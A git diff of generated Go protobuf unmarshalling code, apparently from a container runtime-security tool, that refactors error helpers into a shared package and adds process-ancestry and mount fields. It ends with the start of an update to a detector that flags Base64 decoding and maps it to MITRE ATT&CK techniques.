*GetHealthStatusRequest) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16263,11 +17598,11 @@ func (m *GetHealthStatusRequest) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16280,7 +17615,7 @@ func (m *GetHealthStatusRequest) UnmarshalVT(dAtA []byte) error { var v HealthStatusType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16299,12 +17634,12 @@ func (m *GetHealthStatusRequest) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -16327,7 +17662,7 @@ func (m *HealthStatus) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16355,7 +17690,7 @@ func (m *HealthStatus) UnmarshalVT(dAtA []byte) error { m.Event = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16374,7 +17709,7 @@ func (m *HealthStatus) UnmarshalVT(dAtA []byte) error { m.Status = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16393,7 +17728,7 @@ func (m *HealthStatus) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16407,11 +17742,11 @@ func (m *HealthStatus) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16420,12 +17755,12 @@ func (m *HealthStatus) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -16448,7 +17783,7 @@ func (m *GetHealthStatusResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16476,7 +17811,7 @@ func (m *GetHealthStatusResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16489,11 +17824,11 @@ func (m *GetHealthStatusResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16505,12 +17840,12 @@ func (m *GetHealthStatusResponse) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -16533,7 +17868,7 @@ func (m *ProcessLoader) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16561,7 +17896,7 @@ func (m *ProcessLoader) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16574,11 +17909,11 @@ func (m *ProcessLoader) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16597,7 +17932,7 @@ func (m *ProcessLoader) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16611,59 +17946,129 @@ func (m *ProcessLoader) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Path = string(dAtA[iNdEx:postIndex]) + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Buildid", wireType) + } + var byteLen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + byteLen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if byteLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Buildid = append(m.Buildid[:0], dAtA[iNdEx:postIndex]...) + if m.Buildid == nil { + m.Buildid = []byte{} + } + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Parent", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Parent == nil { + m.Parent = &Process{} + } + if err := m.Parent.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } iNdEx = postIndex - case 3: + case 5: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Buildid", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Ancestors", wireType) } - var byteLen int + var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - byteLen |= int(b&0x7F) << shift + msglen |= int(b&0x7F) << shift if b < 0x80 { break } } - if byteLen < 0 { - return ErrInvalidLength + if msglen < 0 { + return protohelpers.ErrInvalidLength } - postIndex := iNdEx + byteLen + postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Buildid = append(m.Buildid[:0], dAtA[iNdEx:postIndex]...) - if m.Buildid == nil { - m.Buildid = []byte{} + m.Ancestors = append(m.Ancestors, &Process{}) + if err := m.Ancestors[len(m.Ancestors)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -16686,7 +18091,7 @@ func (m *RuntimeHookRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16714,7 +18119,7 @@ func (m *RuntimeHookRequest) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16727,11 +18132,11 @@ func (m *RuntimeHookRequest) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16750,12 +18155,12 @@ func (m *RuntimeHookRequest) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -16778,7 +18183,7 @@ func (m *RuntimeHookResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16801,12 +18206,191 @@ func (m *RuntimeHookResponse) UnmarshalVT(dAtA []byte) error { switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Mount) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Mount: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Mount: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Destination", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Destination = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Source", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Source = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Options", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Options = append(m.Options, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -16829,7 +18413,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16857,7 +18441,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16871,11 +18455,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16889,7 +18473,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16903,11 +18487,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16921,7 +18505,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16934,11 +18518,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16953,7 +18537,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16970,7 +18554,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLenmapkey uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16984,11 +18568,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLenmapkey := int(stringLenmapkey) if intStringLenmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapkey := iNdEx + intStringLenmapkey if postStringIndexmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapkey > l { return io.ErrUnexpectedEOF @@ -16999,7 +18583,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLenmapvalue uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17013,11 +18597,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLenmapvalue := int(stringLenmapvalue) if intStringLenmapvalue < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapvalue := iNdEx + intStringLenmapvalue if postStringIndexmapvalue < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapvalue > l { return io.ErrUnexpectedEOF @@ -17026,12 +18610,12 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { iNdEx = postStringIndexmapvalue } else { iNdEx = entryPreIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > postIndex { return io.ErrUnexpectedEOF @@ -17048,7 +18632,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17062,11 +18646,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -17080,7 +18664,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17094,11 +18678,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -17112,7 +18696,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17126,11 +18710,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -17144,7 +18728,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17158,11 +18742,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -17176,7 +18760,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17190,11 +18774,11 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -17208,7 +18792,7 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17222,25 +18806,59 @@ func (m *CreateContainer) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } m.ContainerImage = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex + case 10: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Mounts", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Mounts = append(m.Mounts, &Mount{}) + if err := m.Mounts[len(m.Mounts)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -17263,7 +18881,7 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17291,7 +18909,7 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { m.Address = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17310,7 +18928,7 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { m.Offset = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17329,7 +18947,7 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17343,11 +18961,11 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -17361,7 +18979,7 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -17375,11 +18993,11 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -17388,12 +19006,12 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -17408,88 +19026,3 @@ func (m *StackTraceEntry) UnmarshalVT(dAtA []byte) error { } return nil } - -func skip(dAtA []byte) (n int, err error) { - l := len(dAtA) - iNdEx := 0 - depth := 0 - for iNdEx < l { - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - wireType := int(wire & 0x7) - switch wireType { - case 0: - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - iNdEx++ - if dAtA[iNdEx-1] < 0x80 { - break - } - } - case 1: - iNdEx += 8 - case 2: - var length int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - length |= (int(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - if length < 0 { - return 0, ErrInvalidLength - } - iNdEx += length - case 3: - depth++ - case 4: - if depth == 0 { - return 0, ErrUnexpectedEndOfGroup - } - depth-- - case 5: - iNdEx += 4 - default: - return 0, fmt.Errorf("proto: illegal wireType %d", wireType) - } - if iNdEx < 0 { - return 0, ErrInvalidLength - } - if depth == 0 { - return iNdEx, nil - } - } - return 0, io.ErrUnexpectedEOF -} - -var ( - ErrInvalidLength = fmt.Errorf("proto: negative length found during unmarshaling") - ErrIntOverflow = fmt.Errorf("proto: integer overflow") - ErrUnexpectedEndOfGroup = fmt.Errorf("proto: unexpected end of group") -) diff --git a/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/main.go b/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/main.go index 5ca7eb17..840e70a3 100644 --- a/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/main.go +++ b/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "regexp" "github.com/gobwas/glob" @@ -13,13 +14,17 @@ import ( const ( ID = "CS_RT_BASE64_DECODE_RUN" - Name = "BASE64: data decoding" - Description = "The detector detects if utilities for decoding arbitrary text from Base64 are used." + Name = "Base64: data decoding" + Description = "The detector detects if utilities for decoding arbitrary text from Base64 are used. Adversaries often use the encoding to hide their commands and payloads from standard monitoring tools." Version = 1 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + ExecDefault = "Detected that a Base 64 string was decoded by the `%s` process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -38,6 +43,25 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0005", + Techniques: []string{ + "T1140", + "T1027.010", + "T1027.013", + }, + }, + { + Id: "TA0011", + Techniques: []string{ 